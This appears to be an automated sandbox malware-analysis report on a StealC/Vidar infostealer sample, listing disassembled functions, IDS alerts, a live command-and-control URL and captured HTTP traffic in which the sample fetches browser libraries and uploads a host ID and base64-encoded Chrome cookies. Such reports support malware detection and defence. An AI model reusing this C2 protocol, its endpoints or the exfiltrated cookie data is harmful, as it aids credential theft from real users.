Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 56181763f8da74cd977c7d66557944e68bc737569137021e9dfd19ed0366e0f5
Instruction ID: c2aede43d66ada70fc29f3378c6162b5610a00b0dca5b7442ba6bd46ec9af643
Opcode Fuzzy Hash: 56181763f8da74cd977c7d66557944e68bc737569137021e9dfd19ed0366e0f5
Instruction Fuzzy Hash: D34184B5D10108EFCB04EFE5D945AFEB774AF54704F10801EE01576291DB789A46CFAA

Function 00417980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E00,00000000,?), ref: 004179B0
RtlAllocateHeap.NTDLL(00000000), ref: 004179B7
GetLocalTime.KERNEL32(?,?,?,?,?,00420E00,00000000,?), ref: 004179C4
wsprintfA.USER32 ref: 004179F3

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: d25a51ab8cf6fccfa60616151632c2f03c452b8beb60607c736287f9abe72aa2
Instruction ID: 87643aaeb61937c0b28f46190d625ee9f9fa63f6271d25fb840393839df263de
Opcode Fuzzy Hash: d25a51ab8cf6fccfa60616151632c2f03c452b8beb60607c736287f9abe72aa2
Instruction Fuzzy Hash: 6D1139B2944118ABCB14DFC9DD45BBEB7F9FB4DB11F10421AF605A2280E3395940CBB5

Function 0041C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041C74E

Part of subcall function 0041BF9F: __amsg_exit.LIBCMT ref: 0041BFAF

__getptd.LIBCMT ref: 0041C765
__amsg_exit.LIBCMT ref: 0041C773
__updatetlocinfoEx_nolock.LIBCMT ref: 0041C797

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 0dee89ca1e27279cee20c61cf39372be64ae68290e804cf05a8e7f65ce69890f
Instruction ID: f221cbc75ab16e387751c9b116ef15a62a105912f32ca5c84f33c5bc9026f8a6
Opcode Fuzzy Hash: 0dee89ca1e27279cee20c61cf39372be64ae68290e804cf05a8e7f65ce69890f
Instruction Fuzzy Hash: 72F09632A817119BD7207BB95C467DE33A09F00728F24414FF414A62D2CBAC59D29E9E

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/nss3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/mozglue.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/freebl3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/sqlite3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/msvcp140.dll	URL Reputation: Label: malware

Source: 0.2.file.exe.400000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: 0.2.file.exe.400000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Source: http://185.215.113.37/0d60be0de163924d/softokn3.dllF	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dll.	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/sqlite3.dllB	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.php_	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpdll	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dllP	Virustotal: Detection: 16%	Perma Link

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00409B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00409B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040C820 lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_0040C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00407240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00407240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00409AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00409AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00418EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00418EA0

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49711 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49711 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.37:80 -> 192.168.2.6:49711
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49711 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.37:80 -> 192.168.2.6:49711
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49711 -> 185.215.113.37:80

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGHIIJKEBGIDHIDBKJDHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 39 30 35 32 35 45 35 46 41 38 36 33 35 37 36 38 35 30 37 39 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 2d 2d 0d 0a Data Ascii: ------JDGHIIJKEBGIDHIDBKJDContent-Disposition: form-data; name="hwid"B90525E5FA863576850798------JDGHIIJKEBGIDHIDBKJDContent-Disposition: form-data; name="build"doma------JDGHIIJKEBGIDHIDBKJD--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDGDHJJDGHCAAAKEHIJHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 63 64 37 33 61 32 30 34 31 38 62 66 31 61 31 35 35 62 39 37 31 64 37 33 31 35 62 61 65 38 64 65 30 39 35 66 64 61 64 36 36 32 35 32 36 37 38 38 31 63 66 39 38 65 39 65 66 37 63 31 37 35 36 33 39 61 64 30 36 35 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 2d 2d 0d 0a Data Ascii: ------EGDGDHJJDGHCAAAKEHIJContent-Disposition: form-data; name="token"c9cd73a20418bf1a155b971d7315bae8de095fdad6625267881cf98e9ef7c175639ad065------EGDGDHJJDGHCAAAKEHIJContent-Disposition: form-data; name="message"browsers------EGDGDHJJDGHCAAAKEHIJ--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJDHIDBFBFHIJKFHCGIEHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 48 49 44 42 46 42 46 48 49 4a 4b 46 48 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 63 64 37 33 61 32 30 34 31 38 62 66 31 61 31 35 35 62 39 37 31 64 37 33 31 35 62 61 65 38 64 65 30 39 35 66 64 61 64 36 36 32 35 32 36 37 38 38 31 63 66 39 38 65 39 65 66 37 63 31 37 35 36 33 39 61 64 30 36 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 48 49 44 42 46 42 46 48 49 4a 4b 46 48 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 48 49 44 42 46 42 46 48 49 4a 4b 46 48 43 47 49 45 2d 2d 0d 0a Data Ascii: ------JJDHIDBFBFHIJKFHCGIEContent-Disposition: form-data; name="token"c9cd73a20418bf1a155b971d7315bae8de095fdad6625267881cf98e9ef7c175639ad065------JJDHIDBFBFHIJKFHCGIEContent-Disposition: form-data; name="message"plugins------JJDHIDBFBFHIJKFHCGIE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJJJDHDGDAAKECAKJDAEHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 63 64 37 33 61 32 30 34 31 38 62 66 31 61 31 35 35 62 39 37 31 64 37 33 31 35 62 61 65 38 64 65 30 39 35 66 64 61 64 36 36 32 35 32 36 37 38 38 31 63 66 39 38 65 39 65 66 37 63 31 37 35 36 33 39 61 64 30 36 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 45 2d 2d 0d 0a Data Ascii: ------KJJJDHDGDAAKECAKJDAEContent-Disposition: form-data; name="token"c9cd73a20418bf1a155b971d7315bae8de095fdad6625267881cf98e9ef7c175639ad065------KJJJDHDGDAAKECAKJDAEContent-Disposition: form-data; name="message"fplugins------KJJJDHDGDAAKECAKJDAE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIDGDAKFHIEHJKFHDHDBHost: 185.215.113.37Content-Length: 7155Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKFCBFCBFBKEBFIDBKECHost: 185.215.113.37Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 43 42 46 43 42 46 42 4b 45 42 46 49 44 42 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 63 64 37 33 61 32 30 34 31 38 62 66 31 61 31 35 35 62 39 37 31 64 37 33 31 35 62 61 65 38 64 65 30 39 35 66 64 61 64 36 36 32 35 32 36 37 38 38 31 63 66 39 38 65 39 65 66 37 63 31 37 35 36 33 39 61 64 30 36 35 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 43 42 46 43 42 46 42 4b 45 42 46 49 44 42 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 43 42 46 43 42 46 42 4b 45 42 46 49 44 42 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 6b 77 4f 44 41 79 43 55 35 4a 52 41 6b 31 4d 54 45 39 56 55 4a 6c 54 6b 4e 72 57 6a 4e 4d 4f 48 6c 59 59 33 67 34 63 57 67 30 53 6b 5a 56 57 47 74 33 61 30 35 44 4f 55 6c 79 5a 47 6c 53 5a 47 4a 71 55 31 52 71 63 56 4e 70 52 6d 67 34 56 33 4a 53 59 32 4a 4c 63 6c 39 79 54 30 70 69 5a 30 68 5a 4e 6c 52 42 4e 46 4a 55 4c 54 5a 77 63 7a 42 69 61 47 56 74 5a 6e 64 44 55 45 4a 7a 54 45 31 6e 55 46 51 33 4c 57 64 55 59 31 64 78 53 48 5a 61 64 6c 70 69 59 57 5a 50 63 47 74 78 55 6e 6b 77 5a 45 78 35 57 55 63 35 51 57 70 51 4d 6e 5a 69 56 55 4a 76 62 57 46 79 62 6d 4d 35 63 47 4e 61 56 6d 78 6f 53 47 74 56 5a 56 56 68 56 30 31 31 63 6b 51 77 52 30 64 59 65 56 63 77 4e 56 39 43 58 7a 46 4a 65 56 56 4f 57 55 56 46 54 47 31 35 63 56 4a 6e 43 69 35 6e 62 32 39 6e 62 47 55 75 59 32 39 74 43 56 52 53 56 55 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 6a 6b 35 4d 44 63 78 4e 6a 51 77 43 54 46 51 58 30 70 42 55 67 6b 79 4d 44 49 7a 4c 54 45 77 4c 54 41 31 4c 54 41 32 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 43 42 46 43 42 46 42 4b 45 42 46 49 44 42 4b 45 43 2d 2d 0d 0a Data Ascii: ------BKFCBFCBFBKEBFIDBKECContent-Disposition: form-data; name="token"c9cd73a20418bf1a155b971d7315bae8de095fdad6625267881cf98e9ef7c175639ad065------BKFCBFCBFBKEBFIDBKECContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------BKFCBFCBFBKEBFIDBKECContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1nU
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCFCFCGCGIEHIECAFCFIHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 46 43 46 43 47 43 47 49 45 48 49 45 43 41 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 63 64 37 33 61 32 30 34 31 38 62 66 31 61 31 35 35 62 39 37 31 64 37 33 31 35 62 61 65 38 64 65 30 39 35 66 64 61 64 36 36 32 35 32 36 37 38 38 31 63 66 39 38 65 39 65 66 37 63 31 37 35 36 33 39 61 64 30 36 35 0d 0a 2d 2d 2d 2d 2d 2d 47 43 46 43 46 43 47 43 47 49 45 48 49 45 43 41 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 43 46 43 46 43 47 43 47 49 45 48 49 45 43 41 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 43 46 43 46 43 47 43 47 49 45 48 49 45 43 41 46 43 46 49 2d 2d 0d 0a Data Ascii: ------GCFCFCGCGIEHIECAFCFIContent-Disposition: form-data; name="token"c9cd73a20418bf1a155b971d7315bae8de095fdad6625267881cf98e9ef7c175639ad065------GCFCFCGCGIEHIECAFCFIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GCFCFCGCGIEHIECAFCFIContent-Disposition: form-data; name="file"------GCFCFCGCGIEHIECAFCFI--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCGIJKJJKEBGHJKFIDGCHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 63 64 37 33 61 32 30 34 31 38 62 66 31 61 31 35 35 62 39 37 31 64 37 33 31 35 62 61 65 38 64 65 30 39 35 66 64 61 64 36 36 32 35 32 36 37 38 38 31 63 66 39 38 65 39 65 66 37 63 31 37 35 36 33 39 61 64 30 36 35 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 2d 2d 0d 0a Data Ascii: ------FCGIJKJJKEBGHJKFIDGCContent-Disposition: form-data; name="token"c9cd73a20418bf1a155b971d7315bae8de095fdad6625267881cf98e9ef7c175639ad065------FCGIJKJJKEBGHJKFIDGCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FCGIJKJJKEBGHJKFIDGCContent-Disposition: form-data; name="file"------FCGIJKJJKEBGHJKFIDGC--
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
